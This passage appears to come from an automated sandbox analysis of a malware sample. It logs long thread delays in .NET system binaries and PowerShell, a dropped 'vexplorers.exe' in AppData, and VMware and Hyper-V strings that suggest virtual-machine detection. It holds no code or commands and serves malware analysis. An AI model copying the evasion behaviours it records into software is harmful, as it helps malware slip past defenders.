Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94989
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 587093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99782
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99657
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99407
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98782
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98657
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98251
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98126
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97376
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599647
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599407
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598935
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99855
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99542
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99263
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99139
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99029
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98907
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98077
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97965
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97731
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97614
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96823
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96252
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 96000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95759
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95651
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95407
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 95183
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 94986
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 593306
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 593178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99555
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599704
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598774
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99732
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99391
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99047
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97812
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97346
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96121
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95432
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593873
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99869
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99741
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99606
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99332
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99034
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96664
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95824
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95655
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95524
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95386
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95261
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 95029
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 94919
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 94802
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 94675
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 94555
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599838
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599709
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599567
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599023
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 598886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 598717
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99876
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99613
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99192
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98945
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98374
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98027
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97901
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97671
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97343
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97233
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 97015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 96030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 95921
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 95812
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 95702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 95588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99403
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 98438
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.18.dr	Binary or memory string: VMware
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.18.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.18.dr	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.18.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.18.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.18.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.18.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: svchost.exe, 00000008.00000002.2008316470.000001A4FFF3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.18.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.18.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.18.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
Source: Amcache.hve.18.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.18.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.18.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
